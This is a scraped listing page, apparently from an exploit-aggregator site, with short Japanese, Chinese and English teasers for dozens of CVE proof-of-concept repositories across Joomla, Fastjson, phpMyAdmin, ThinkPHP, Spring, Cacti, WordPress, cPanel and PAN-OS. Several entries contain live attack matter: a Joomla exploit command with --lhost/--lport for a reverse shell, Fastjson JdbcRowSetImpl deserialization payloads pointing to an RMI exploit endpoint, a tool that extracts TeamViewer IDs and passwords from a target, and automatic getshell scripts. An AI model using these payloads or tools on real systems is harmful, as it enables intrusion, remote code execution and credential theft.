Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 影響範囲：3.0.0-3.4.6 1、脆弱性の検証 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 「Vulnerable」と表示されれば、脆弱性が存在することが証明されます python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 実行に成功...

CVE-2024-33209

CVE-2024-33209 FlatPress 1.3は、クロスサイトスクリプティング（XSS）に対して脆弱です。攻撃者は「Add New Entry」セクションに悪意のあるJavaScriptコードを注入することができ、被害者のウェブブラウザのコンテキストで任意のコードを実行できるようになります。 脆弱性の種類: クロスサイトスクリプティング（XSS） 製品ベンダー : flatpress CMS 影響を受ける製品コードベース : Flatpress v1.3 - FlatPressバージョン1.3で修正される予定です。 影響を受けるコンポーネント 管理パネルの「Add New...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 リモートコード実行 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ 未知のバージョン1.2.24〜41の間 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true ​ 1.2.4...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin の '/scripts/setup.php' に対する PHP コードインジェクション RCE の POC。これは CVE-2009-1151 用として最初に公開されたエクスプロイトです。 構文 root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ デモ root@kitploit: $ ./phpMyAdminRCE.sh...

PageMyadmin_file_upload_getshell

このリポジトリには README がありません。...

thinkphp5.0.1-automatic-getshell

thinkphp5.0.1-automatic-getshell thinkphp5.0.1自動getshellスクリプト thinkphp5.0.1を使用する際に遭遇するいくつかの小さな問題を解決し、ツールを自作することで手動での再現の手間を省きました。...

teamview

teamview TVV2.exe をターゲット上で実行すると、現在のディレクトリに3つのファイルが生成されます。 次に、生成された gps.exe を実行すると、ID と pass が含まれる vtr.txt が生成されます。 接続には Windows Server を使用し、圧縮パッケージ内の TeamViewerSetup.exe をインストールしてください。...

CVE-2024-21534

CVE-2024-21534: jsonpath-plus =10.0.7 におけるリモートコード実行の脆弱性 概要 このリポジトリには、jsonpath-plus パッケージ（バージョン10.0.7未満に影響）における重大なリモートコード実行（RCE）脆弱性の Proof of Concept（PoC）エクスプロイトが含まれています。この問題は、不適切な入力サニタイズに起因し、NodeのVMモジュールにおける安全でないデフォルト設定を悪用することで、攻撃者が任意のコードを実行できるようになります。この脆弱性は2024年10月11日に公開され、CVSSスコア...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 漏洞利用脚本 该 Python 脚本用于测试 Cacti 实例是否存在 CVE-2024-43363 漏洞，该漏洞是一个由日志投毒导致的远程代码执行（RCE）漏洞。 漏洞工作原理： 日志投毒：攻击者将 PHP 代码注入设备名称，Cacti 在记录时未进行适当清理。 执行：通过 Web URL 访问日志，注入的代码被执行，允许攻击者在服务器上运行命令。 脚本运行方式： 检查版本：脚本检查目标 Cacti 版本是否存在漏洞。 创建恶意设备：尝试创建一个名称包含 PHP 代码注入的设备。 检查日志：脚本检查日志中是否出现该代码并可被执...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 的一个 Python 实现，以 ssh 会话的风格为用户提供提示符。 该脚本旨在易于理解和执行，兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置，从而允许该漏洞利用被多次运行。可能需要进行清理。 漏洞利用 - CVE-2022-22965 ❗ 该漏洞存在于 5.2 版本之前的 java spring 框架中，以及 5.3.0-17 和 5.2.0-19 版本中，且运行在大于或等于 9 的 Java...

CVE-2023-25581

このPythonスクリプトは、pac4j-coreのCVE-2023-25581脆弱性の悪用を実演します。この脆弱性により、攻撃者は悪意を持って作成されたBase64エンコードデータをデシリアライズすることで、任意のコード実行（RCE）が可能になります。 前提条件 スクリプトを実行する前に、以下がインストールされていることを確認してください: Python 3.x : Pythonをダウンロード requestsライブラリ : 次のコマンドを実行してインストールします: root@kitploit: pip install requests 使用方法 1. リポジトリのクローン:...

CVE-2022-30780-lighttpd-denial-of-service

CVE-2022-30780 - lighttpd リモートサービス拒否 CVE-2022-30780 - lighttpd リモートサービス拒否 概要 認証されていない攻撃者が、最大 URL 長を超える URL を含む HTTP リクエストを送信することで、サービス拒否を引き起こす可能性があります。 影響を受けるバージョン 以下の lighttpd のバージョンが影響を受けます:...

CVE-2024-27348

CVE-2024-27348 Apache HugeGraph のリモートコード実行脆弱性 CVE-2024-27348 に関するリポジトリです。 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image: vulhub/hugegraph:1.2.0 ports: -...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 图片远程代码执行 使用Python对CVE-2019-8942和CVE-2019-8943的利用 : ExploitDB : https://www.exploit-db.com/exploits/49512 针对metasploit的原始利用 : WordPress Core 5.0.0 - 裁剪图片Shell上传 Metasploit : https://www.exploit-db.com/exploits/46662 视频 : 描述:...

CVE-2026-73701

CVE-2026-73701 is a critical unauthenticated remote code execution (RCE) vulnerability in the underlying operating system of HPE Networking Fabric Composer . The vulnerability requires certain preconditions outside the attacker's control to be met, which is reflected in the high attack complexity...

EUVD-2026-69579

An unauthenticated remote code execution vulnerability exists in the underlying operating system of HPE Networking Fabric Composer and could be exploited if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an unauthenticate...

CVE-2026-41940

⚠️ CVE-2026-41940 - cPanel & WHM 認証バイパス cPanel & WHM における重大な事前認証バイパス 📌 概要 CVE-2026-41940 は、cPanel & WHM および WP Squared に影響を与える重大な認証バイパス の脆弱性です。 認証されていないリモート攻撃者は、ログインを完全にバイパスして、サーバーへの完全な管理者 root/WHM アクセス を取得できます。 この欠陥は、パッチがリリースされる前に実際の環境で活発に悪用されていました 。 🎯 深刻度 メトリクス| 値 ---|--- CVSS 3.1 スコア| 9.8 緊急...

internet-of-vulnerable-things

脆弱なモノのインターネット 脆弱なモノのインターネット をテーマにした私の小さなタームペーパーの成果です。 概要...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║║ ╚══════════════════════════════════════════════════════════════╝ 📋 概要...

CVE-2026-0300

🚨 CVE-2026-0300 - Palo Alto Networks PAN-OS における重大な認証不要リモートコード実行 User-ID™ 認証ポータル （キャプティブポータル）におけるバッファオーバーフロー — 実環境で活発に悪用中 📋 概要 PAN-OS の User-ID 認証ポータルにおける重大なバッファオーバーフロー脆弱性 （CWE-787）により、認証されていない攻撃者 が特別に細工されたパケットを送信することで、root 権限でのリモートコード実行 を達成できる可能性があります。 CVE ID : CVE-2026-0300 CVSS 4.0 スコア :...